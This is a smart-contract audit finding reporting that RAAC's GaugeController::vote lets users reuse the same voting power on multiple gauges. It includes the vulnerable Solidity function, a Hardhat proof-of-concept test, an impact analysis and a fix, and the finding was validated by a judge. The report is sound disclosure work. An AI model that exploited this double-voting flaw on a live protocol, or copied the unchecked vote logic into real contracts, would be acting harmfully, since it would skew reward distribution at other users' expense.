Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Users can use the same voting power to assign weights to multiple gauges

Summary

The RAAC protocol's GaugeController::vote function allows users to vote on the weights of gauges, which determine how RAAC inflation rewards are distributed. However, the current implementation lacks a mechanism to prevent users from reusing their voting power across multiple gauges. This enables double voting, where a user can allocate their full voting power to multiple gauges simultaneously, skewing the reward distribution and undermining the fairness of the system.

Vulnerability Details

Users can vote on the weights attributed to each guage via GaugeController::vote. These weights are used to determine how much rewards are distributed to each gauge and users who have staked to a particular gauge get RAAC emissions from the gauge they are staked in.

/**
* @notice Core voting functionality for gauge weights
* @dev Updates gauge weights based on user's veToken balance
* @param gauge Address of gauge to vote for
* @param weight New weight value in basis points (0-10000)
*/
function vote(address gauge, uint256 weight) external override whenNotPaused {
if (!isGauge(gauge)) revert GaugeNotFound();
if (weight > WEIGHT_PRECISION) revert InvalidWeight();
uint256 votingPower = veRAACToken.balanceOf(msg.sender);
if (votingPower == 0) revert NoVotingPower();
uint256 oldWeight = userGaugeVotes[msg.sender][gauge];
userGaugeVotes[msg.sender][gauge] = weight;
_updateGaugeWeight(gauge, oldWeight, weight, votingPower);
emit WeightUpdated(gauge, oldWeight, weight);
}

The following exploit occurs because there is no check to ensure that a user that has previously voted cannot vote again. As a result, users can use the same voting power to vote for multiple gauges which allows double voting to occur.

Proof Of Code (POC)

This test was run in GaugeController.test.js file in the "Period Management" describe block. There is some extra setup required in this test as the veRAACToken used in this file is a MockToken that doesnt take decay into account. As a result, we have to change the setup to implement veRAACToken.sol. To do this, replace the "GaugeController" descibe block and its beforeEach with the following:

describe("GaugeController", () => {
let gaugeController;
let rwaGauge;
let raacGauge;
let veRAACToken;
let rewardToken;
let owner;
let gaugeAdmin;
let emergencyAdmin;
let feeAdmin;
let raacToken;
let user1;
let user2;
let user3;
let user4;
let users;
const MONTH = 30 * 24 * 3600;
const WEEK = 7 * 24 * 3600;
const WEIGHT_PRECISION = 10000;
const { MaxUint256 } = ethers;
const duration = 365 * 24 * 3600; // 1 year
beforeEach(async () => {
[
owner,
gaugeAdmin,
emergencyAdmin,
feeAdmin,
user1,
user2,
user3,
user4,
...users
] = await ethers.getSigners(); //c added ...users to get all users and added users 3 and 4 to the list of users for testing purposes
// Deploy Mock tokens
const MockToken = await ethers.getContractFactory("MockToken");
/*veRAACToken = await MockToken.deploy("veRAAC Token", "veRAAC", 18);
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress(); */
//c this should use the actual veRAACToken address and not a mock token as veRAAC has different mechanics to this mocktoken because the rate of decay is not considered at all in this mock token which allows for limiting POC's that produce false positives. the above code block was commented out for testing purposes
const MockRAACToken = await ethers.getContractFactory("ERC20Mock");
raacToken = await MockRAACToken.deploy("RAAC Token", "RAAC");
await raacToken.waitForDeployment();
const VeRAACToken = await ethers.getContractFactory("veRAACToken");
veRAACToken = await VeRAACToken.deploy(await raacToken.getAddress());
await veRAACToken.waitForDeployment();
const veRAACAddress = await veRAACToken.getAddress();
rewardToken = await MockToken.deploy("Reward Token", "REWARD", 18);
await rewardToken.waitForDeployment();
const rewardTokenAddress = await rewardToken.getAddress();
// Deploy GaugeController with correct parameters
const GaugeController = await ethers.getContractFactory("GaugeController");
gaugeController = await GaugeController.deploy(veRAACAddress);
await gaugeController.waitForDeployment();
const gaugeControllerAddress = await gaugeController.getAddress();
// Deploy RWAGauge with correct parameters
const RWAGauge = await ethers.getContractFactory("RWAGauge");
rwaGauge = await RWAGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await rwaGauge.waitForDeployment();
// Deploy RAACGauge with correct parameters
const RAACGauge = await ethers.getContractFactory("RAACGauge");
raacGauge = await RAACGauge.deploy(
await rewardToken.getAddress(),
await veRAACToken.getAddress(),
await gaugeController.getAddress()
);
await raacGauge.waitForDeployment();
// Setup roles
const GAUGE_ADMIN_ROLE = await gaugeController.GAUGE_ADMIN();
const EMERGENCY_ADMIN_ROLE = await gaugeController.EMERGENCY_ADMIN();
const FEE_ADMIN_ROLE = await gaugeController.FEE_ADMIN();
await gaugeController.grantRole(GAUGE_ADMIN_ROLE, gaugeAdmin.address);
await gaugeController.grantRole(
EMERGENCY_ADMIN_ROLE,
emergencyAdmin.address
);
await gaugeController.grantRole(FEE_ADMIN_ROLE, feeAdmin.address);
// Add gauges
await gaugeController.connect(gaugeAdmin).addGauge(
await rwaGauge.getAddress(),
0, // RWA type
0 // Initial weight
);
await gaugeController.connect(gaugeAdmin).addGauge(
await raacGauge.getAddress(),
1, // RAAC type
0 // Initial weight
);
// Initialize gauges
await rwaGauge.grantRole(await rwaGauge.CONTROLLER_ROLE(), owner.address);
await raacGauge.grantRole(await raacGauge.CONTROLLER_ROLE(), owner.address);
});

The relevant test is below:

it("user can use same voting power to vote on multiple gauges", async () => {
//c for testing purposes
//c setup user 1 to lock raac tokens to enable gauge voting
const INITIAL_MINT = ethers.parseEther("1000000");
await raacToken.mint(user1.address, INITIAL_MINT);
await raacToken
.connect(user1)
.approve(await veRAACToken.getAddress(), MaxUint256);
//c user 1 locks raac tokens to gain veRAAC voting power
await veRAACToken.connect(user1).lock(INITIAL_MINT, duration);
const user1bal = await veRAACToken.balanceOf(user1.address);
console.log("User 1 balance", user1bal);
//c user1 votes on raac gauge
await gaugeController
.connect(user1)
.vote(await raacGauge.getAddress(), 5000);
//c get weight of user1's vote on raac gauge
const user1RAACvotes = await gaugeController.userGaugeVotes(
user1.address,
await raacGauge.getAddress()
);
console.log("User 1 votes", user1RAACvotes);
//c user1 votes on rwa gauge
await gaugeController
.connect(user1)
.vote(await rwaGauge.getAddress(), 5000);
//c get weight of user1's vote on rwa gauge
const user1RWAvotes = await gaugeController.userGaugeVotes(
user1.address,
await rwaGauge.getAddress()
);
console.log("User 1 votes", user1RWAvotes);
assert(user1RAACvotes == user1RWAvotes);
});

Impact

The vulnerability allows users to exploit the voting mechanism by reusing their voting power across multiple gauges. This undermines the fairness and integrity of the gauge weight distribution system, as users can disproportionately influence the allocation of RAAC emissions. Specifically:

Double Voting: A user can vote on multiple gauges using the same voting power, effectively diluting the voting power of other participants and skewing the distribution of rewards.

Unfair Advantage: Users with significant veRAAC holdings can dominate the voting process, leading to centralization of power and reduced decentralization in the protocol.

Inaccurate Reward Distribution: The weights calculated based on these votes will not accurately reflect the community's preferences, leading to misallocation of RAAC inflation and potentially harming the protocol's long-term sustainability.

Tools Used

Manual Review, Hardhat

Recommendations

Introduce a mechanism to track the total voting power a user has allocated across all gauges. This ensures that a user cannot exceed their available voting power when voting on multiple gauges.

Modify the vote function to check whether the user has sufficient remaining voting power before allowing a new vote.

Updates

Lead Judging Commences

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote lacks total weight tracking, allowing users to allocate 100% of voting power to multiple gauges simultaneously

inallhonesty Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

GaugeController::vote lacks total weight tracking, allowing users to allocate 100% of voting power to multiple gauges simultaneously

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.